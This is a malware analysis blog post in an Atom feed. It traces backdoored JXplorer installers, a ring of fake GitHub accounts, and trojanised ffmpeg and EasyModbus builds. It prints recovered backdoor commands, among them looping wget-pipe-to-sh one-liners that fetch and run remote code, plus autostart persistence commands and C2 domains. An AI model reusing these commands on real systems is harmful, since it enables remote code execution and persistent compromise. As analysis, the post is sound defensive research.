<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[dfir it!]]></title>
  <link href="http://dfir.it/atom.xml" rel="self"/>
  <link href="http://dfir.it/"/>
  <updated>2019-02-26T21:39:52+01:00</updated>
  <id>http://dfir.it/</id>
  <author>
    <name><![CDATA[dfir.it!]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[The Supreme Backdoor Factory]]></title>
    <link href="http://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/"/>
    <updated>2019-02-26T17:53:15+01:00</updated>
    <id>http://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory</id>
    <content type="html"><![CDATA[<p>Recently I was playing with <a href="https://www.virustotal.com/intelligence/">VirusTotal Intelligence</a> and while testing some dynamic behavior queries I stumbled upon <a href="https://www.virustotal.com/#/file/5e3bba9a94ff757400ce5a0f2a2a43076c515bc0e3728964b4f58f503ed9917c">this strange PE binary</a> (MD5: <code>7fce12d2cc785f7066f86314836c95ec</code>). The file claimed to be an installer for the JXplorer 3.3.1.2, a Java-based &ldquo;cross platform LDAP browser and editor&rdquo; as indicated on its <a href="http://jxplorer.org/">official web page</a>. Why was it strange? Mostly because I did not expect an installer for a quite popular LDAP browser to create a scheduled task in order to download and execute PowerShell code from a subdomain hosted by free dynamic DNS provider:</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/virustotal_jxplorer.png" title="VirusTotal - JXplorer" alt="VirusTotal - JXplorer"></p>

<p>I initially planned to keep this write-up short and focus on dissecting suspicious JXplorer binary. However, analyzing the JXplorer binary turned out to be only the first step into the world of backdoored software.</p>

<!--more-->


<h3>JXplorer</h3>

<p>In order to validate my VirusTotal finding I downloaded a matching version of Windows installer (3.3.1.2) from the official <a href="https://sourceforge.net/projects/jxplorer/files/jxplorer/version%203.3.1.2/">JXplorer SourceForge repository</a>. Unsurprisingly, the MD5 hashes of both files were different. Last thing I wanted to do was to disassemble two 7 megabytes PE binaries so I started with simpler checks in order to locate difference(s). As binaries were packed with UPX, I unpacked them with the <code>upx</code> tool and compared MD5s of PE sections. The sections were all identical, with exception of the resource section. I was not sure how content of the PE resource section could affect behavior of the installer so I used <a href="https://www.cjmweb.net/vbindiff/">VBinDiff</a> to see the exact difference. The tool actually revealed the following modifications:</p>

<ul>
<li>The manifest file located in the resource section, specifically the <code>requestedExecutionLevel</code> property. The original file required Administrator privileges (<code>requireAdministrator</code>) while the modified was fine with running with caller&rsquo;s privilege level</li>
<li>Additional newline character appended to the file - explaining 1 byte size difference between the files</li>
<li>A relatively small (3230 bytes) blob of what seemed to be ZLIB compressed data at offset 0x4be095. Note the clear text file names just before the ZLIB header (<code>http-2.7.9.tm</code>, <code>platform-1.0.10.tm</code>):</li>
</ul>


<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/vbindiff_jxplorer.png" title="VBinDiff - JXplorer" alt="VBinDiff - JXplorer"></p>

<p>The first two differences did not seem to be important so I focused on the last one. The identified ZLIB data was placed in the PE file overlay space and I figured that it was likely part of an archive used by the installer to store JXplorer files. Fortunately, JXplorer web page mentioned that JXplorer was using the <a href="https://bitrock.com/">BitRock Install Builder</a> and after short search I managed to find the following Tcl unpacker for BitRock archives: <a href="https://github.com/greyltc/bitrock-unpacker">bitrock-unpacker</a>.</p>

<p>Once I installed the <a href="https://www.activestate.com/products/activetcl/">ActiveTcl</a> and downloaded required <a href="https://chiselapp.com/user/aspect/repository/sdx/index">SDX</a> file I used the <code>bitrock-unpacker</code> script to unpack JXplorer installation files from both installers. Then I used the <a href="http://winmerge.org/">WinMerge</a> tool to compare resulting files and directories. To my surprise there were no differences which meant that JXplorer application files were left intact. That also meant that I needed to dig a bit further.</p>

<p>After going through <code>bitrock-unpacker</code> code I noticed that it first mounted the <a href="https://equi4.com/metakit/">Metakit</a> database in order to extract installer files that were used to locate and extract the <a href="https://wiki.tcl-lang.org/page/cookfs">Cookfs</a> archive storing JXplorer files. Using existing <code>bitrock-unpacker</code> code I created <a href="https://gist.github.com/dfir-it/06f3baa4556bba6822998103db43bc74">this Tcl script</a> to dump all installer files from the Metakit database to disk. This time comparing BitRock installer files yielded interesting results.</p>

<p>WinMerge showed one difference - a file named <code>http-2.7.9.tm</code>, located in the <code>\lib\tcl8\8.4\</code> directory.</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/winmerge_bitrock_files.png" title="WinMerge - BitRock installer files" alt="WinMerge - BitRock installer files"></p>

<p>Despite having the same size and timestamps (<code>atime</code>, <code>ctime</code>, <code>mtime</code> as extracted from the Cookfs archive) the file <code>http-2.7.9.tm</code> (MD5: <code>f6648f7e7a4e688f0792ed5a88a843d9</code>, <a href="https://www.virustotal.com/#/file/f7069ea454fe6e15548ea2450b4f93d904928a0535bb21812885b244b5628926">VT</a>) extracted from the modified installer did not remind standard <code>http.tcl</code> module. Instead it contained exactly what I was looking for:</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/winmerge_http-2.7.9.png" title="WinMerge - http-2.7.9.tm" alt="WinMerge - http-2.7.9.tm"></p>

<p>Below is the summary of actions performed by the <code>http-2.7.9.tm</code> script:</p>

<ul>
<li>Create a scheduled task named <code>Notification Push</code> to download and execute PowerShell code from <code>hxxp://svf.duckdns[.]org</code></li>
<li>Write a JAR file (MD5: <code>9d4aeb737179995a397d675f41e5f97f</code>, <a href="https://www.virustotal.com/#/file/955904c82e953113183aad6a60fef962847549d02f531a62bf00d724c3c482c3">VT</a>) to <code>%TEMP%\..\Microsoft\ExplorerSync.db</code>. Create a scheduled task <code>ExplorerSync</code> to execute <code>ExplorerSync.db</code></li>
<li>Write a JAR file (MD5: <code>533ac97f44b4aea1a35481d963cc9106</code>, <a href="https://www.virustotal.com/#/file/536eb0c00f1d4a39ddf9a2eca508897eb2064b4e28e25a3327626b53bad0319d">VT</a>) to <code>%TEMP%\BK.jar</code> and execute it with the following command line parameters: <code>hxxp://coppingfun[.]ml/blazebot</code> <code>%USERPROFILE%\Desktop\sup-bot.jar</code></li>
<li>Execute additional JAR file downloaded in the previous step</li>
<li>ping a legitimate domain <code>supremenewyork[.]com</code></li>
</ul>


<p>Some of the actions were a bit odd to me (Why would you drop malware(?) to user&rsquo;s Desktop? Why would you choose that specific domain <code>supremenewyork[.]com</code>?). That got me thinking that I might be dealing with a testing version of modified installer. The names of files (<code>blazebot</code>, <code>sup-bot</code>) did not ring any bells either so I decided to do a bit of online research.</p>

<h3>Blazebot</h3>

<p>One of the top Google search results for the keyword <code>blazebot</code> was this <a href="https://www.youtube.com/watch?v=XewdaL3UuEw">YouTube video</a> created by <a href="https://www.youtube.com/channel/UCiNWIOMXfaG3X1SjAWa34Ag">Stein Sørnson</a> and titled <code>Blaze Bot Supreme NYC</code>. The video presented a process of downloading, running and configuring what seemed to be a Java-based <a href="https://motherboard.vice.com/en_us/article/d33vpq/inside-the-wild-world-of-sneaker-buying-bots">sneaker bot</a> (TIL!) called <code>blazebot</code> / <code>Supreme NYC Blaze Bot</code>. Both the YouTube video content and its description referenced a source from which one can download blazebot: a GitHub repository <a href="https://github.com/steisn/blazebot">steisn/blazebot</a> [<a href="https://web.archive.org/web/20190221210816/https://github.com/steisn/blazebot">Wayback Machine copy</a>]. Git commit messages for that repository contained following author entries: <code>Stein Sørnson &lt;ed.fishman392@mail[.]ru&gt;</code> (<a href="https://github.com/steisn/blazebot/commit/2887b2ea484e17161dc714c023da4be942a2a516.patch">sample commit message</a>) suggesting that Stein Sørnson was the owner of both YouTube channel and GitHub repository.</p>

<p>With such unique name it was not hard to find another online account related to Stein Sørnson, this time on <a href="https://sourceforge.net/u/allare778/profile/">SourceForge - allare778</a> [<a href="https://web.archive.org/web/20190221210947/https://sourceforge.net/u/allare778/profile/">Wayback Machine</a>]. While the username was set to <code>allare778</code> the full name was present in the profile page title:</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/sourceforge_allare778.png" title="SourceForge - allare778 profile" alt="SourceForge - allare778 profile"></p>

<p>The <code>allare778</code> account owned three projects:</p>

<ul>
<li><a href="https://sourceforge.net/projects/supremebot/">supremebot</a> [<a href="https://web.archive.org/web/20190221211026/https://sourceforge.net/projects/supremebot/">Wayback Machine copy</a>], which referenced previously discussed YouTube video and hosted multiple files, including <code>supremebot.jar</code> (MD5: <code>2098d71cd1504c8be229f1f8feaa878b</code>, <a href="https://www.virustotal.com/#/file/b2e5dd0ce1e2735e14f817c19613d156cafeddce10d294fb84f9016cc3f8304e">VT</a>), exactly the same file that was also present in the <a href="https://github.com/steisn/blazebot">blazebot</a> GitHub repository (as <a href="https://github.com/steisn/blazebot/blob/2887b2ea484e17161dc714c023da4be942a2a516/blazebot-1.02.11.jar"><code>blazebot-1.02.11.jar</code></a>)</li>
<li><a href="https://sourceforge.net/projects/elitesubot/">elitesubot</a> [<a href="https://web.archive.org/web/20190221211100/https://sourceforge.net/projects/elitesubot/">Wayback Machine copy</a>], which was empty and did not list any past activity</li>
<li><a href="https://sourceforge.net/projects/allesare/">allesare</a> [<a href="https://web.archive.org/web/20190223141233/https://sourceforge.net/p/allesare/activity/pjax?page=1&amp;limit=100">Wayback Machine copy</a>], which also did not contain any files; however, it listed project activity, including names of previously uploaded files:</li>
</ul>


<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/sourceforge_allesare_project.png" title="SourceForge - allesare project" alt="SourceForge - allesare project"></p>

<p>There was also one additional detail concerning blazebot that started to make sense to me much later. While back then I did not have many reasons to analyze that sneaker bot I took a quick look at decompiled Java classes. The bot contained an update functionality that downloaded AES encrypted and RSA signed &ldquo;update instructions&rdquo; file from the other project repository belonging to the user <code>allare778</code>:</p>

<p><code>hxxp://allesare.sourceforge[.]net/en-us/bver</code></p>

<p>The implementation of update mechanism seemed to allow project owner to execute arbitrary system commands on hosts running blazebot.</p>

<p>At that point I thought that the connection between modified JXplorer installer and the &ldquo;Supreme NYC Blaze Bot&rdquo; could be just coincidental. I took a step back and analyzed two JAR files extracted from the <code>http-2.7.9.tm</code> Tcl script hoping that they will provide further clues.</p>

<h3>JDL and FEN</h3>

<p>This was a quick exercise as both JAR files turned out to contain compact downloaders/loaders. The <code>BK.jar</code> file (MD5: <code>533ac97f44b4aea1a35481d963cc9106</code>, <a href="https://www.virustotal.com/#/file/536eb0c00f1d4a39ddf9a2eca508897eb2064b4e28e25a3327626b53bad0319d">VT</a>) contained the <code>jdl</code> package implementing simple downloader. It was responsible for downloading data from URL provided as a first command line argument and then saving it to a file provided as a second command line argument.</p>

<p>The second JAR file <code>ExplorerSync.db</code> (MD5: <code>9d4aeb737179995a397d675f41e5f97f</code>, <a href="https://www.virustotal.com/#/file/955904c82e953113183aad6a60fef962847549d02f531a62bf00d724c3c482c3">VT</a>) was more interesting as it contained two hardcoded URLs. The <code>fen</code> package implemented an infinite loop trying to download and invoke Java code (from the <code>fmb</code> package) from the following two URLs:</p>

<ul>
<li><code>hxxp://ecc.freeddns[.]org/data.txt</code></li>
<li><code>hxxp://san.strangled[.]net/stat</code></li>
</ul>


<p>While the <code>san.strangled[.]net</code> did not have resolution at the time of analysis, the <code>ecc.freeddns[.]org</code> DNS A record pointed to <code>207.38.69[.]206</code>, an IP address hosting <a href="https://www.dynu.com/">Dynu&rsquo;s</a> web redirect service. The <code>ecc.freeddns[.]org</code> was set to redirect HTTP requests to <code>jessicacheshire.users.sourceforge[.]net</code> and fortunately the <code>data.txt</code> file was still present there.</p>

<h3>FEimea Portable App</h3>

<p>As expected the <code>data.txt</code> (MD5: <code>65579b8ed47ca163fae2b3dffd8b4d5a</code>, <a href="https://www.virustotal.com/#/file/86a3802ad5f35262d01efe6b678585db356121807bc28105f43019cbbd0f23fb">VT</a>) was a yet another JAR file. Going through decompiled code it was quite evident that code implemented functionality typical for a RAT. This is by no means a complete analysis of the code (there is much more ahead of us!) but I made following observations while skimming through the code:</p>

<ul>
<li>The tool identified itself as <code>FEimea Portable App - ver. 3.11.2  Mainline</code>. It also returned following version strings: <code>Audio system : (none)</code>, <code>Audio codecs : (none)</code> while it did not seem to implement any audio related functionality</li>
<li>It supported following set of commands: ACCESS, APPEND, BYE, COPY, DOWNLOAD, FETCH, HASH, LIST, LOGOUT, NOOP, PWD, REMOVE, RENAME, SELECT, STAT, VERSION</li>
<li>It seemed to use embedded RSA modulus and public exponent to encrypt and decrypt network communication with two hardcoded command and control servers: <code>limons.duckdns[.]org</code> (TCP/13057) and <code>polarbear.freeddns[.]org</code> (TCP/7003)</li>
<li>Additionally it reported ROT13 encoded username, operating system type and architecture to the following URL: <code>hxxp://utelemetrics.atwebpages[.]com/update.php?tag=&lt;ROT13_DATA&gt;</code></li>
<li>It also had capability of invoking Java code obtained from the hardcoded URL: <code>hxxp://ecc.freeddns[.]org/a2s.txt</code> (not available at the time of analysis)</li>
<li>Interestingly it also implemented a very specific function to extract user name value from the <code>.gitconfig</code> file located in user&rsquo;s home directory</li>
</ul>


<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/jdgui_feimea.png" title="JdGui - FEimea Portable App" alt="JdGui - FEimea Portable App"></p>

<p>At that point I ran out of files to analyze but at the same time suspected that with the existence of the FEimea Portable App there is likely much more to this story than just someone playing with the JXplorer installer. I made an assumption that while I might have stumbled upon a testing version of the modified installer there might be other versions floating around. I also expected that some distribution channel for modified installer must exist.</p>

<h3>JXplorer: Part Deux</h3>

<p>I set out for a hunt. I downloaded latest Windows version (3.3.1.2) of the JXplorer installer from its official website and I compared MD5 hash with installer file hosted on the official GitHub repository <a href="https://github.com/pegacat/jxplorer/releases">pegacat/jxplorer</a>. They were the same (MD5: <code>c23a27b06281cfa93641fdbb611c33ff</code>). I did the same with JXplorer installer files downloaded from multiple software hosting websites. Same results. I repeated the process with files grabbed from SourceForge mirrors. All good. Then I searched for JXplorer on GitHub:</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_jxplorer.png" title="GitHub - JXplorer" alt="GitHub - JXplorer"></p>

<p>If not the number of stars assigned to the repositories I would probably have ignored the results. How come the official JXplorer GitHub repository (<a href="https://github.com/pegacat/jxplorer">pegacat/jxplorer</a>) had 39 stars while the next one (<a href="https://github.com/serkovs/jxplorer">serkovs/jxplorer</a> [<a href="https://web.archive.org/web/20190221204742/https://github.com/serkovs/jxplorer">Wayback Machine copy</a>]) had twice as many? The difference was even more striking with subscribers of each repository (11 vs 66). What was also strange the <a href="https://github.com/serkovs/jxplorer">serkovs/jxplorer</a> was not even a clone of the official JXplorer repository and it only contained a single file - Linux installer for the JXplorer 3.3.1.2:</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_serkovs_jxplorer.png" title="GitHub - serkovs_jxplorer" alt="GitHub - serkovs_jxplorer"></p>

<p>I downloaded Linux installer (32 bit ELF binary) from both repositories and compared the files. Just by looking and their sizes I knew they were different. The original Linux installer file <code>jxplorer-3.3.1.2-linux-installer.run</code> (MD5: <code>0c00fd22c65932ba9ce58b4ba6107cf0</code>, <a href="https://www.virustotal.com/#/file/7ff5ff0a124d8e16d7688ae093cfcd859f4be3104f3455cc59d4b15d55a61ffa">VT</a>) was 7679495 bytes long, while the one downloaded from <a href="https://github.com/serkovs/jxplorer">serkovs/jxplorer</a> (MD5: <code>0489493aeb26b6772bf3653aedf75d2a</code>, <a href="https://www.virustotal.com/#/file/21a5f6b003886b26c769132a8ffa06d607260980895a1e7484744fe3107ee099">VT</a>) was a bit larger (7954444 bytes).</p>

<p>Both files were generated by BitRock Install Builder, the same tool that was used to create Windows version of the installer. I knew the drill and immediately used <code>bitrock-unpacker</code> to extract JXplorer software files and then compared them. There were no differences. Next I extracted BitRock installer files - again files were identical so I decided to further inspect the binary downloaded from the <a href="https://github.com/serkovs/jxplorer">serkovs/jxplorer</a> repository. While skimming through the binary in hex editor I noticed strings characteristic for the UPX packer however my attempt to unpack it with the <code>upx</code> tool was unsuccessful and I got the <code>not packed by UPX</code> error. After a while I realized that the file lacked usual UPX magic values (<code>UPX!</code>) which were replaced by the following string: <code>L1ma</code>. Fortunately <code>upx</code> was able to unpack the file after I replaced all occurrences of <code>L1ma</code> with the original value of <code>UPX!</code>.</p>

<p>Once I had the unpacked file (MD5: <code>25c47cf531e913cb4a59b2237ab85963</code>, <a href="https://www.virustotal.com/#/file/c4790a8a728e7237a78aa040c3925e697800d5ffeccf1161d22b9fb9dd78a698">VT</a>) I spent some time reverse-engineering it and eventually I found a suspicious function that started with decrypting 704 bytes of data (located at file offset 0x92040) using 256 bytes long XOR key (located at file offset 0x66700).
The decrypted data contained 15 null-terminated strings. The ultimate goal of the code was to establish persistence and to execute the following command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/bin/sh -c 'while true;do wget hxxp://yzyaio.onlinewebshop[.]net/act/stat.php?info=SLADE -O -|sh;sleep 60;done&gt;/dev/null 2&gt;&1'</span></code></pre></td></tr></table></div></figure>


<p>The code followed two main paths, depending on privileges it was executed with. When ran with root privileges the code would perform following actions:</p>

<ul>
<li>Create a new systemd service <code>rpc-statd-sync</code> (with the following description: <code>Sync NFS peers due to a restart</code>) to execute above one-liner</li>
<li>Establish additional persistence for every user in the system by creating a desktop entry (<code>~/.config/autostart/.desktop</code>) to execute above one-liner</li>
</ul>


<p>Without root privileges the code resorted only to infecting current user.</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/ida_jxplorer_linux.png" title="IDA - JXplorer backdoor code" alt="IDA - JXplorer backdoor code"></p>

<p>While modified software was rather specific, at that stage I did not have any proof that the same entity was behind modification of both (Linux and Windows) JXplorer installers. I was also very curious what else I can find on GitHub.</p>

<h3>The Power of Social Graph</h3>

<p>I started going through GitHub accounts that starred or subscribed the repository <a href="https://github.com/serkovs/jxplorer">serkovs/jxplorer</a> and I quickly noticed patterns:</p>

<ul>
<li>Accounts seemed to be created in multiple batches, on specific dates, as if the process was automated</li>
<li>Accounts created on 2018-03-04 did not have any content and were simply used to star 41 other repositories</li>
<li>Accounts created at earlier dates (February 2018) were used both to host a single repository and to increase authenticity of other repositories by starring and subscribing them</li>
</ul>


<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_serkovs_jxplorer_stargazers.png" title="GitHub - serkovs_jxplorer stargazers" alt="GitHub - serkovs_jxplorer stargazers"></p>

<p>There were additional similarities among accounts that hosted repositories:</p>

<ul>
<li>Each account hosted a single repository with a history of one or two commits</li>
<li>The author field in the Git commit messages indicated consistent usage of free Slovakian email service <code>pobox[.]sk</code> , with username often corresponding to the one used on GitHub (<a href="https://github.com/serkovs/jxplorer/commit/4d8a7dafcd32c1ef219b458700fb0206f6354232.patch">sample commit message</a>)</li>
<li>Timestamps present in the Git commit messages consistently indicated CET time zone</li>
<li>Commit messages tended to be consistent among different accounts and repositories, e.g. erroneous message &ldquo;2st commit&rdquo; appeared in different repositories belonging to different accounts: <a href="https://github.com/aurelrybar/editbox">aurelrybar/editbox</a> [<a href="https://web.archive.org/web/20190221205302/https://github.com/aurelrybar/editbox/">Wayback Machine copy</a>], <a href="https://github.com/henrichjahoda/ardublock">henrichjahoda/ardublock</a> [<a href="https://web.archive.org/web/20190221205513/https://github.com/henrichjahoda/ardublock">Wayback Machine copy</a>]</li>
<li>Commits seemed to be automated and occurred at specific times among different accounts and repositories, e.g. <a href="https://github.com/gabrieolo/bounceball">gabrieolo/bounceball (2018-04-28 11:11:17)</a>, <a href="https://github.com/karibanker/eug">karibanker/eug (2018-04-28 11:11:18)</a>, <a href="https://github.com/jeanelletobler/gumbo">jeanelletobler/gumbo (2018-04-28 11:11:19)</a></li>
<li>Most repositories hosted a single JAR file, usually a game (<a href="https://github.com/gabrieolo/bounceball">gabrieolo/bounceball</a> [<a href="https://web.archive.org/web/20190221210327/https://github.com/gabrieolo/bounceball">Wayback Machine copy</a>]), tool (<a href="https://github.com/jelamarucka/pdfjumbler">jelamarucka/pdfjumbler</a> <a href="https://web.archive.org/web/20190221204623/https://github.com/jelamarucka/pdfjumbler">[Wayback Machine copy]</a>) or library (<a href="https://github.com/vaclaw281/junit">vaclaw281/junit</a> [<a href="https://web.archive.org/web/20190221204756/https://github.com/vaclaw281/junit">Wayback Machine copy</a>])</li>
</ul>


<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_gabrieolo.png" title="GitHub - gabrieolo_bounceball commit" alt="GitHub - gabrieolo_bounceball commit"></p>

<p>I eventually ended up using GitHub API and Neo4j to collect and analyze metadata associated with suspicious accounts and repositories. Data showed nothing but a confined network of GitHub accounts starring and subscribing each others&#8217; repositories.</p>

<p>As I was limited with time and resources and was not able to analyze each file in each identified repository I resorted to analyzing only a small subset of files. Two of the repositories turned out to contain interesting artifacts that allowed me to draw additional connections and fill existing gaps. Below graph shows &ldquo;social interactions&rdquo; between the <a href="https://github.com/serkovs/">serkovs</a> account, two other accounts that I analyzed (<a href="https://github.com/mansiiqkal/">mansiiqkal</a> and <a href="https://github.com/ballory/">ballory</a>) and a number of related (starred/subscribed) repositories:</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/social_graph.svg" title="Neo4j - Social Graph" alt="Neo4j - Social Graph"></p>

<h3>The Missing Link</h3>

<p>I decided to inspect content of the <a href="https://github.com/ballory/ffmpeg">ballory/ffmpeg</a> [<a href="https://web.archive.org/web/20190221210350/https://github.com/ballory/ffmpeg">Wayback Machine copy</a>] repository because it did not contain JAR file(s) like most of other identified repositories - instead it had a bunch of Linux binaries, claiming to contain &ldquo;FFmpeg Linux Build (64 bit)&rdquo;. Additionally, the repository stood out as it did not have as many stars and subscribers as others (only 14) however the owner (<code>ballory</code>) starred and subscribed at least 60 other repositories according to the collected data.</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_ballory.png" title="GitHub - ballory_ffmpeg" alt="GitHub - ballory_ffmpeg"></p>

<p>The <code>readme.txt</code> file present in the repository directly linked to <a href="https://www.johnvansickle.com/ffmpeg/">www.johnvansickle.com/ffmpeg/</a>, a website hosting static ffmpeg builds for Linux. In fact, file names and directory structure matched <a href="https://johnvansickle.com/ffmpeg/builds/ffmpeg-git-amd64-static.tar.xz">sample build</a> I downloaded from there. I did not find that exact build (<code>ffmpeg-git-20180427-64bit-static.tar.xz</code> listed in the <code>readme.txt</code> file) on <a href="https://www.johnvansickle.com">www.johnvansickle.com</a> so I was not able to compare files.</p>

<p>When I started analyzing the <code>ffmpeg</code> 64 bit ELF binary (MD5: <code>c78ccfc45bfba703cce0fc0c75c0f6af</code>, <a href="https://www.virustotal.com/#/file/2859b86854018bb4db2226e1ff14a4de4aa0187cd563c705d4ae1dbda0c07086">VT</a>) I immediately noticed suspicious code right at the entry point. The code was responsible for mapping the binary via <code>/proc/self/exe</code> and then jumping to a specific offset, 624 bytes from the end of the file. After dumping and disassembling shellcode occupying last 624 bytes of the binary I was left with a short decryption loop (XOR 0x37, SUB 0x2e) and encrypted data. The decrypted data contained shellcode responsible for forking and executing following command in the child process via <code>execve</code> syscall:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/bin/sh -c 'cd /home/`whoami`/.config&&mkdir -p autostart&&cd autostart&&echo [Desktop Entry]&gt;y&&echo Type=Application&gt;&gt;y&&echo Exec=/bin/sh -c "'while true;do wget hxxp://allesare.sourceforge[.]net/en-us/m -O -|sh;sleep 60;done'"&gt;&gt;y&&chmod 755 y&&mv y .desktop'</span></code></pre></td></tr></table></div></figure>


<p>That was exactly what I was looking for. The <code>allesare</code> SourceForge project was owned by the account named <code>allare778</code> (Stein Sørnson), and this finding created plausible link between the GitHub user <code>ballory</code> and that account.</p>

<p>Remaining part of the code was supposed to run in the parent process and was responsible for decrypting (XOR 0x11, SUB 0x31) 162 bytes of data located 786 bytes from the end of the file and jumping to it. The decrypted data seemed to contain original entry point function.</p>

<p>The other analyzed binaries from the repository (<code>ffmpeg-10bit</code> (MD5: <code>6d5bea9bfe014fc737977e006692ebf3</code>, <a href="https://www.virustotal.com/#/file/28af5641501fccc2f4f500b822fabdd20b0081f0d549995de3e250b70dc906da">VT</a>), <code>ffprobe</code> (MD5: <code>98f8600ff072625fd8ff6b3e14675648</code>, <a href="https://www.virustotal.com/#/file/66c0800bf203cdb5852de240963fd94ac8f2f8262546aa3f021d989ff4a1d28b">VT</a>), <code>qt-faststart</code> (MD5: <code>e9b58b1e173734b836ed4b74184c320b</code>, <a href="https://www.virustotal.com/#/file/905057c8b188f05223aab68d59addf2f61fc5611e0322852210b91e4fcade738">VT</a>)) contained same pieces of shellcode, located at the same offsets from the end of files and used the same decryption routines. The only small differences were in the hardcoded offsets.</p>

<h3>The Even More Missing Link</h3>

<p>The second repository that yielded interesting results was <a href="https://github.com/mansiiqkal/easymodbustcp-udp-java">mansiiqkal/easymodbustcp-udp-java</a> [<a href="https://web.archive.org/web/20190221205352/https://github.com/mansiiqkal/easymodbustcp-udp-java">Wayback Machine copy</a>]. The repository was starred and subscribed by both <a href="https://github.com/serkovs/">serkovs</a> and <a href="https://github.com/ballory/">ballory</a> accounts. The description (<code>Easy Modbus TCP/UDP/RTU</code>) and the file name (<code>EasyModbusJava.jar</code>) suggested that it contained the <a href="http://easymodbustcp.net/en/">EasyModbus Java library</a>.</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/github_mansiiqkal.png" title="GitHub - mansiiqkal_easymodbustcp-udp-java" alt="GitHub - mansiiqkal_easymodbustcp-udp-java"></p>

<p>I downloaded the most recent version (2.8, released on 2017-03-14) of <code>EasyModbusJava.jar</code> (MD5: <code>56668c3915a0aa621d7f07aa11f7c8a9</code>, <a href="https://www.virustotal.com/#/file/466d1533a1bdd67b126b992a00820cdaa5e8608cf7567f410a328d5c879a4201">VT</a>) from the official EasyModbus <a href="https://sourceforge.net/projects/easymodbustcp-udp-java/files/V2.8/">project page</a> and compared it with <code>EasyModbusJava.jar</code> (MD5: <code>4d18388a9b351907be4a9f91785c9997</code>, <a href="https://www.virustotal.com/#/file/d1b19801e477f6297e41bfa040f5fb09e5f34b1e24b2bd90c960dd09a2be85f9">VT</a>) from <a href="https://github.com/mansiiqkal/easymodbustcp-udp-java/">mansiiqkal/easymodbustcp-udp-java</a>.</p>

<p>There was no doubt about it, files were different. I used the <code>zipinfo</code> to list archives&#8217; files and metadata. The JAR from <a href="https://github.com/mansiiqkal/easymodbustcp-udp-java">mansiiqkal/easymodbustcp-udp-java</a> was a bit larger (97272 vs 114504 bytes), included one additional file (<code>INumberOfConnectedClientsChangedDelegator1.class</code>) and according to timestamps was (re)packaged at 2018-03-22 18:29:58 (which in turn correlated with timestamp present in this <a href="https://github.com/mansiiqkal/easymodbustcp-udp-java/commit/9df31ca1cc4570565c1af1010407b01a004ab4e3.patch">Git commit message</a>).</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/easymodbusjava_jar_zipinfo.png" title="EasyModbusJava.jar - zipinfo" alt="EasyModbusJava.jar - zipinfo"></p>

<p>To be sure these were the only differences I used Jd-Gui to save decompiled Java classes from both JARs and then used WinMerge to see differences. Skipping negligible code formatting artifacts generated by the decompiler here is what I found:</p>

<ul>
<li>The extra file <code>de/re/easymodbus/server/INumberOfConnectedClientsChangedDelegator1.class</code> contained three large byte arrays and what seemed to be a decryption function</li>
<li>12 other classes explicitly imported the <code>INumberOfConnectedClientsChangedDelegator1</code> class</li>
</ul>


<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/winmerge_easymodbusjava.png" title="WinMerge - EasyModbusJava" alt="WinMerge - EasyModbusJava"></p>

<p>The code present in the <code>INumberOfConnectedClientsChangedDelegator1</code> class was designed to drop files to disk and establish persistence. The code used a custom decryption routine to decrypt an array of bytes and then used resulting blob (3011 bytes in total, MD5: <code>cf2ca657816af534c07c8ceca167e25b</code>, <a href="https://www.virustotal.com/#/file/7e79acf9ac55068cdee8e186ebabf5e391a80b294843998f7396ed4ce3039aff">VT</a>) as a source of file content and strings (file names, system commands).</p>

<p><img class="center" src="http://dfir.it/images/the-supreme-backdoor-factory/easymodbusjava_decryption.png" title="EasyModbusJava - Decryption function" alt="EasyModbusJava - Decryption function"></p>

<p>Depending on the operating system type the code was executed on, it performed different actions described below:</p>

<h4>Linux</h4>

<p>The code dropped a JAR file (MD5: <code>9d4aeb737179995a397d675f41e5f97f</code>) to <code>$HOME/.local/share/bbauto</code> and created a desktop entry persistence by setting <code>$HOME/.config/autostart/none.desktop</code> file to execute the following command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/bin/sh -c "java -jar $HOME/.local/share/bbauto"</span></code></pre></td></tr></table></div></figure>


<p>The code also created an additional desktop entry <code>$HOME/.config/autostart/.desktop</code> set it to execute the following command:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/bin/sh -c 'while true;do wget hxxp://eln.duckdns[.]org/se -O -|sh;sleep 60;done'</span></code></pre></td></tr></table></div></figure>


<h4>macOS</h4>

<p>The code dropped a JAR file (MD5: <code>9d4aeb737179995a397d675f41e5f97f</code>) to <code>$HOME/Library/LaunchAgents/AutoUpdater.dat</code> and established persistence by creating a launch agent called <code>AutoUpdater</code> (<code>$HOME/Library/LaunchAgents/AutoUpdater.plist</code>).</p>

